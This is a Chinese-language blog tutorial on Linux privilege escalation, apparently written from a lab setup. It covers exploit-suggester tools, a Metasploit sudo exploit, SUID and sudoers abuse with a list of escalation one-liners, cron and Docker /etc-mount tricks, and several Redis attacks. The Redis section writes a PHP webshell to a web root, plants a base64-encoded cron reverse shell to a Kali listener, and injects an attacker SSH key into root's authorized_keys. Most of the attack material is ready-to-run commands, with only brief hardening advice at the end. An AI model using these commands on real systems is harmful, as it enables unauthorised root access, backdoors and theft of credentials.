本文最后更新于 2024-07-26,文章内容可能已经过时。

Linux提权-01

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

0、系统提权一般从三个方面考虑问题

  1. 系统漏洞
  2. 管理员的配置错误
  3. 第三方软件提权(redis、mysql 等)

一 、系统漏洞的检测工具

1.1 、linux-exploit-suggester

这是一个系统提权漏洞的检测工具

下载地址 :https://github.com/The-Z-Labs/linux-exploit-suggester

下载之后,上传到目标主机 ,执行他的 .sh文件 。

┌──(root㉿kali)-[~/桌面/tools/Linux_exploit/linux-exploit-suggester]
└─# ./linux-exploit-suggester.sh
zsh: ./linux-exploit-suggester.sh: bad interpreter: /bin/bash^M: 没有那个文件或目录

这里我运行出现问题,出现linux报错 /bin/bash^M:解释器错误:没有那个文件或目录。

这是因为我在Windows下编写或复制的脚本文件拷贝到Linux环境中运行时会出现运行不了的情况。主要还是Windows的换行符为\r\n,而Linux环境中的换行符号为\n。

解决办法:

sed -i 's/\r$//' linux-exploit-suggester.sh

image-20240613023946673

1.2 、linux-smart-enumeration

扫描系统漏洞

下载地址 :https://github.com/diego-treitos/linux-smart-enumeration

[root@localhost tools]# cd linux-smart-enumeration-master
[root@localhost linux-smart-enumeration-master]# clear
[root@localhost linux-smart-enumeration-master]# ls
cve  doc  LICENSE  lse.sh  README.md  screenshots  tools
[root@localhost linux-smart-enumeration-master]# ./lse.sh

查看所有 CVE漏洞

image-20240613024136552

1.3、linpeas

可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码,输出非常多。

下载地址https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

image-20240613015525051

image-20240613015802455

image-20240613022215007

1.4、MSF提权辅助工具

在MSF有一个模块, 叫后渗透测试模块 ,在后渗透测试模块中 ,就有提权模块 。

后渗透测试模块 ,Post 后渗透测试模块中 搜索 suggester ,就是提权模块

所有的后渗透测试模块,执行时,都需要 session

首先弄一个getshell的普通用户

image-20240613171104593

可以看到上线为普通用户xiaoe

image-20240613171158871

拿到shell后bg回到msf模块,session查看id为1,

界面输入 search suggester查找提权模块

image-20240613171405923

输入序号使用,再输入 show options查看配置信息

image-20240613163816646

设置需要的session。即之前bg退出来后session的id值。run执行。

image-20240613171735215

这里绿色的就是有用的。这里选第4个

输入 use exploit/linux/local/sudo_baron_samedit

输入 show options查看配置

image-20240613172152847

将之前的SEESION在这里用上。输入 set SESSION 1,run执行

image-20240613172534943

可以看将root密码改成了 urvfbyylbienrvt ,回到普通用户进行登录即可完成提权。

二、管理员配置错误

系统配置提权:

2.1 、sudoer提权

网络管理员在给普通用户授权时,给这个用户授予了操作所有功能的权限 。

给普通用户授权利用的这个配置文件 :/etc/sudoers

在这个文件夹中给普通用户配置所有的权限 :

wugd ALL=(ALL) NOPASSWD:ALL  # 配置所有权限

wugd ALL=(root) NOPASSWD:/usr/bin/firewall-cmd 		用户wugd在任意主机上以root身份免密执行 firewdlld 命令

利用普通账户操作时 ,只需要再此命令之前加上 sudo

sudo cat /etc/shadow

此操作权限维持的意义 大于权限提升的意义

2.2 、SUID提权

1、SUID的工作机制

Linux进程在运行的时候有以下三个UID:

Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。

Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。

Set UID:Set owner User ID up on execution,它允许用户执行的文件以该文件的拥有者的身份运行,也就是说可以越权执行命令。主要设置于 chmod 命令中第user第3位。

[root@localhost bin]# ll | grep bash
-rwxr-xr-x. 1 root root    964608 10月 31 2018 bash  # 当前bash 命令的属主 是 root

[root@localhost bin]# chmod u+s /usr/bin/bash
[root@localhost bin]# ll | grep bash
-rwsr-xr-x. 1 root root    964608 10月 31 2018 bash # 多了一个 S权限 
# 将来任何用户 使用bash命令时 都是hi以 属主 root的权限运行 

[root@localhost bin]# su wugd
bash-4.2$ id
uid=1000(wugd) gid=1000(wugd) 组=1000(wugd) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.2$ bash -p
bash-4.2# id
uid=1000(wugd) gid=1000(wugd) euid=0(root) 组=1000(wugd) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

CentOS系统中存在可执行程序/bin/cat,属主属组均为root,任何用户对其都拥有执行权限。另外存在系统文件/etc/shadow,属主属组也都是root,不提供任何访问权限。

2、SUID应用举例

假设系统中存在一个普通用户,名为user1,UID和GID都是1000。该用户对/bin/cat具有执行权限,对/etc/shadow不具有任何权限。默认情况下,user1执行/bin/cat,系统会创建一个cat进程,进程的Real UID和Effective UID相同,都是运行该进程的user1用户的UID(1000)。cat进程访问/etc/shadow,由于进程的EUID不具备任何访问权限,所以系统会拒绝其访问目标。

为/bin/cat设置SUID权限之后,user1创建的cat进程的Effective UID自动被设置为/bin/cat文件的属主的UID值,也就是root的UID:0。这样该进程访问/etc/shadow时,虽然目标文件拒绝任何人访问,但是由于进程的Effective UID为0,具备超级用户权限,可以访问任意文件,所以就可以显示shadow文件的内容了。

如果某个设置了suid权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,也就是说,这是一个root shell。root shell中运行的程序的EUID也都是0,具备超级权限。

为可执行文件添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果SUID配置不当,则很容易造成提权。

例如 :cat命令 , 在普通账户中,不能查看 /etc/shadow ,如果我们给cat 命令加上S权限,那么久可以查看 /etc/shadow文件

whereis cat # 产看命令的路径 
# 设置s权限
chmod  u+s  /usr/bin/cat 

su wugd  # 切换账户

cat /etc/shadow   # 可以查看成功 

面试题 : suders 和 suid 提权 有什么区别 ?

suoderssuid提权都是临时性的提权

主要区别

  • suders 是通过配置 sudo 命令来允许特定用户在执行命令时以超级用户权限运行,需要用户本人的密码验证。
  • suid 是通过设置文件权限来让程序在执行时暂时获得文件所有者(通常是root)的权限,从而允许普通用户执行需要特权的程序。

总结来说,“suders” 提供了更灵活的、基于用户的临时权限提升机制,而 “suid” 则是通过文件权限设置实现程序执行时的权限提升。

linux系统本身 就有一部分指令具有s权限,这些指令不会有安全问题 :

/usr/libexec/pt_chown
/usr/libexec/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/crontab
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chage
/usr/bin/sudo
/usr/sbin/usernetctl
/bin/ping
/bin/ping6
/bin/mount
/bin/su
/bin/umount
/bin/fusermount
/sbin/pam_timestamp_check
/sbin/unix_chkpwd

比如我们给 /usr/bin/bash 加上 s权限 :

chmod u+s  /usr/bin/bash
su wugd

bash -p

id  #  执行id 查看 当前用户的执行权限 ,发现是 euid(root)

在我们的linux的系统中,有以下命令的 S权限 有安全隐患 。

chmod u+s /bin/bash			$ bash -p
chmod u+s /bin/sh			$ sh -p
chmod u+s /bin/env			$ env /bin/sh -p
chmod u+s /bin/vi			$ vi /etc/shadow
chmod u+s /bin/awk			$ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat			$ cat /etc/shadow
chmod u+s /usr/bin/curl		$ curl file:///etc/shadow
chmod u+s /bin/find			$ find /etc/passwd -exec cat /etc/shadow \;
							  find /etc/passwd -exec bash -p \;

此操作权限维持的意义 大于权限提升的意义

查看系统中所有设置看 SUID权限的文件 :find . -perm /4000

2.3 、定时器提权

定时器是我们linux中的一个命令,他可以让我们的命令按照我们设置的时间 去定时运行 :

crontab 如何定时 ?

*    *    *    *    *
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 6) (星期天 为0)
|    |    |    +---------- 月份 (1 - 12) 
|    |    +--------------- 一个月中的第几天 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)
时间设置 含义
* * * * * 每分钟执行一次
0 * * * * 每小时的第 0 分钟执行一次
0 0 * * * 每天的午夜(0 点)执行一次
0 0 * * 0 每周日的午夜(0 点)执行一次
0 0 1 * * 每个月的第一天午夜(0 点)执行一次
0 0 L * * 每个月的最后一天午夜(0 点)执行一次
0 0 1 1 * 每年的第一天午夜(0 点)执行一次
0 0 * * 3 每周三的午夜(0 点)执行一次
0 0 1,15 * * 每个月的第 1 和第 15 天午夜(0 点)执行一次
0 0 * * FRI 每周五的午夜(0 点)执行一次
0 0 * * 5 每周五的午夜(0 点)执行一次
0 8-17 * * * 每天的上午 8 点到下午 5 点每小时执行一次
0 12 * * MON 每周一的中午(12 点)执行一次
0 0 15 * * 每个月的第 15 天午夜(0 点)执行一次
0 0 * * 3 每周三的午夜(0 点)执行一次
0 8-17 * * * 每天的上午 8 点到下午 5 点每小时执行一次
0 0 * * 1-5 每个工作日的午夜(0 点)执行一次
0 0 1 * FRI 每个月的第一个星期五午夜(0 点)执行一次
0 0 1,15 * * 每个月的第 1 和第 15 天午夜(0 点)执行一次
0 0 15 1 * 每年的 1 月 15 日午夜(0 点)执行一次
0 0 * * 7 每周日的午夜(0 点)执行一次
0 0 * * 5 每周五的午夜(0 点)执行一次

crontab -l 查看系统中的所有的

crontab -e 创建定时任务

(1)、创建一个执行文件(mysite.sh)

curl http://192.168.91.128/dashboard/phpinfo.php > /dev/null
if [ $? -ne 0 ]; then
    /opt/lampp/lampp start
    echo "检测到lampp没有启动,已经完成启动 - "`date "+%Y-%m-%d %H:%M:%S"` >> /opt/data/site_check.log
fi

chmod u+s /usr/bin/bash 
#echo wugd ALL=(ALL:ALL) NOPASSWD:ALL >> /etc/sudoers

firewall-cmd --list-port | grep 80
if [ $? -ne 0 ]; then
    firewall-cmd --add-port=80/tcp
    echo "检测到80端口没有通过,已经完成添加 - "`date "+%Y-%m-%d %H:%M:%S"` >> /opt/data/site_check.log
fi

设置 mysite.sh 可执行权限 chmod u+x mysite.sh

(2)、创建一个定时任务

利用crontab -e 创建 :

*/1 * * * * /opt/mysite.sh

(3)、测试

[root@localhost bin]# ll | grep bash
-rwsr-xr-x. 1 root root    964608 10月 31 2018 bash
lrwxrwxrwx. 1 root root        10 5月  14 13:26 bashbug -> bashbug-64
-rwxr-xr-x. 1 root root      6964 10月 31 2018 bashbug-64
lrwxrwxrwx. 1 root root         4 5月  14 13:26 sh -> bash
[root@localhost bin]# su wugd
bash-4.2$ id
uid=1000(wugd) gid=1000(wugd) 组=1000(wugd) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.2$ bash -p
bash-4.2# id
uid=1000(wugd) gid=1000(wugd) euid=0(root) 组=1000(wugd) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.2#

2.4 、docker容器提权

查看是否有docker组 -> 查看当前获取到的普通用户是否在docker组里面 -> 如果在,创建一个容器,并把etc目录挂载到宿主机的etc目录 -> 修改/etc/passwd中的普通用户id为0

例如 :拉取一个centos 容器

docker search centos

docker pull centos

docker images

docker run -it --privileged=true -v /etc:/etc [镜像id] /bin/bash

docker run -it --privileged=true -v /etc:/etc 5d0da3dc9764 /bin/bash

#docker -i 前端交互模式 -t tty终端显示  privileged配置容器内部拥有最高权限,-v挂载,前面的etc是物理机的文件夹,后面的etc是容器内部的文件夹,b8dfe9ade316是镜像id,/bin/bash是容器进入后的shell环境。

此时,容器内部的/etc目录和物理机的一一同步对应的,可选直接echo最加:

echo `xiaoe ALL=(ALL) NOPASSWD:ALL` >> /etc/sudoers

最后,直接用sudoers提权方式提权即可。

image-20240614031135358

docker 安装 :

1、Docker 要求 CentOS 系统的内核版本高于 3.10 ,查看本页面的前提条件来验证你的CentOS 版本是否支持 Docker 。

通过 uname -r 命令查看你当前的内核版本

uname -r

2、确保 yum 包更新到最新。

yum -y update

3、卸载旧版本(如果安装过旧版本的话)

yum remove docker docker-common docker-selinux docker-engine

4、安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的

yum install -y yum-utils device-mapper-persistent-data lvm2

5、设置yum源

yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

6、可以查看所有仓库中所有docker版本,并选择特定版本安装

yum list docker-ce --showduplicates | sort -r

7、安装docker

yum install -y docker-ce #由于repo中默认只开启stable仓库,故这里安装的是最新稳定版

8、启动并加入开机启动

systemctl start docker

systemctl enable docker

9、验证安装是否成功(有client和server两部分表示docker安装启动都成功了)

docker version

如果看到了Client和Server两部分,说明安装成功。

image-20220318111132316

配置镜像加速

国外镜像一般很难访问,需要配置镜像加速器。

sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://15czhewx.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

三、第三方软件(redis)提权:

redis安装 :

redis-6.0.6.tar.gz

上传到 /opt/redis 目录下 ,解压缩

tar -zxvf redis-6.0.6.tar.gz
# 切换 
cd redis-6.0.6/

检查是否有gcc环境 :

gcc -v

如果没有,需要安装gcc 环境 ,

安装 :

yum -y install gcc gcc-c++ autoconf pcre pcre-devel make automake
yum -y install wget httpd-tools vim
gcc -v

升级到 9.x 版本

yum -y install centos-release-scl
yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils
scl enable devtoolset-9 bash

注意的是scl命令启用只是临时的,退出shell或重启就会恢复原系统gcc版本。 如果要长期使用gcc 9.3的话

echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile

编译redis :

make   
# 如果make 编译出错, 使用瞎买的参数 进行编译
make MALLOC=libc

安装redis :

make install

默认安装位置 :/usr/local/bin

把redis 配置文件 redis.conf 复制到 用户目录下 :

cp /opt/redis/redis-6.0.6/redis.conf /home/myredis

在 /home/myredis 目录下 启动 redis 服务

redis-server redis.conf

修改配置文件 (redis.conf):

  • 查找 bind,将已有的 bind 127.0.0.1 -::1 注释掉 或者 写成 0.0.0.0
  • 查找 protected-mode yes,将其修改为:protected-mode no
  • 但是设置密码:requirepass 123456
  • daemonize no 修改 为 daemonize yes

完成上述配置后,使用 pkill redis-server 停止 Redis 服务器,再重启 Redis 即可

客户端 连接:

./redis-cli -h 192.168.12.141 -p 6379 -a 123456

Redis的基本操作 :

redis是一个键值对象的非关系型数据库 ,操作比较简单,效率非常的高,目前大多数项目都会使用他作为缓存 。

select n  # n : 0--15 的数字  切换数据库  redis 默认一共 16个数据库 

keys *  # 查看所有的 键 

set k  v  # 设置值 

setnx k v  #  设置值时 ,如果Key存在 设置不成功  key不存在 可以设置成功

flushdb    # 清空当前 数据库中的 所有的键 

flushall  # 清空 所有数据库中的键

# 如何获取 配置文件中 配置的数据 
# 获取持久化文件的名字 及  存储路径 
config get dbfilename
config get dir 

# 使用命令设置 配置文件中的配置值
config set dbfilename  shell.php
config set dir /opt/lampp/htdocs/security

#强制持久化,立即持久化
save

Redis提权的前提条件 :

  1. 需要能够破解redis的密码 或者对方主机上redis没有设置密码
  2. redis启动,最好是 root账户 启动的
  3. redis能够利用命令修改配置文件的内容

下面的实验,都是在满足上述三个条件的基础上完成的 。

3.1 、持久化文件提权

(1)、修改持久化文件的名字

config set dbfilename  shell.php

(2)、修改持久化文件的保存路径

config set dir /opt/lampp/htdocs/security

(3)、保存目的数据(木马)

set 1 "<?php assert($_POST[a]);?>"

(4)、强制立即持久化

save

(5)、启动php服务(不是必须的)

/opt/lampp/xampp start

image-20240614010732556

(6)、利用火狐测试

image-20240614011110512

必须当前主机中配置有php的服务 ,否则不能使用 。

如果有jsp、asp的服务,也可以的 。

(7) 使用webshell客户端连接一句话木马,如蚁剑等

image-20240614011651889

3.2 、redis操作linux系统的定时任务

利用redis操作 Linux系统中的定时任务的文件 /var/spool/cron/root ,如果我们向这个文件中保存一个定时任务,那么这个定时任务就可以执行 。

(1)、修改持久化文件的名字及路径

config set dbfilename  root
config set dir /var/spool/cron/

(2)、保存定时任务的功能

做一个反弹shell .

bash -i >& /dev/tcp/192.168.91.142/6666 0>&1 
#192.168.91.142为kali的ip

#对上述的进行base64位编码
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjE0Mi82NjY2IDA+JjE= |base64 -d |bash

#设置定时器任务,一分钟执行一次
set a "\n\n*/1 * * * * echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOC82NjY2IDA+JjEg= |base64 -d |bash\n\n"

image-20240614020158997

image-20240614020136310

(3)、启动监听(Kali)

nc -lvp 6666

getshell上线后运行命令的时候,需要加上命令的全路径

image-20240614020052117

如何防御:

如何防止redis的提权 ?

  1. 给redis设置密码 尽可能复杂
  2. 禁止condifg命令 和 flushdb 、flushall 命令

redis.conf配置文件 reconmand

rename-command CONFIG ""
rename-command FLUSHDB ""
rename-command FLUSHALL ""

image-20240614020444413

3.3 、利用公钥和私钥登录

(1)、生成公钥和私钥

 ssh-keygen -t rsa

在windows命令行中 生成公钥和私钥

image-20240611154938094

(2)、修改持久化文件名字和路径

config set dir /root/.ssh   
config set dbfilename authorized_keys
save

root目录下 如果没有.ssh目录 ,自己创建一个

(3)、把公钥内容存储到持久化文件中

 set 2 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ISztK16CwYNbXoeWPtkT/4sxDQsXZ9+wYP3jTb49qS1x2AMedTOsEfK+4toIOk43UcT5PnSpve9Dr2i5qD+QMkQmv+PQ5Uy0MvF602jEol7JqgENuzgIxEdqjHooBIgK7xkRw438bUNQG6qZzhQic7l5AisxOGi9I472x5d9IbDp+W5goK+n2ZRtdX4uUeRBm/V8EAOvWUBQwXfDnu9F3B//gSrgbkTRvX/uOduo3hdRpBVuCmJBwOhS3+AZkEoymuascoQHelKcy5RdF/9sj/It2PhcX0+8ydCV6GTlityHmCZO2H1vnjfj4p6nZEW3xavQrw9g3tmVwRK4nov3 administrator@DESKTOP-MKGGU1P\n\n"

(4)、在生成公钥和私钥的windows上登录

image-20240611155537042